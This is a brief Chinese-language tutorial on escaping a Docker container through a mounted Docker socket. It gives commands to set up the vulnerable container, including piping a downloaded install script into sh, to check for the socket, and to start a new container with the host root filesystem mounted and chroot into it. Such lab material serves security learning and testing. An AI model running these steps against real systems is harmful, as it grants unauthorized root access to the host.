挂载 Docker Socket 逃逸
Docker Socket 用来与守护进程通信即查询信息或者下发命令。
# 搭建
创建一个容器并挂载 /var/run/docker/sock 文件
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
1
在容器内安装 Docker 命令行客户端
docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
1
2
3
4
2
3
4
# 检测
ls -lah /var/run/docker.sock
1
如果存在这个文件,说明漏洞可能存在
# 复现
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
1
在新的容器内执行 chroot,将根目录切换到挂载到宿主机的根目录,其实不挂载也行
chroot /host
1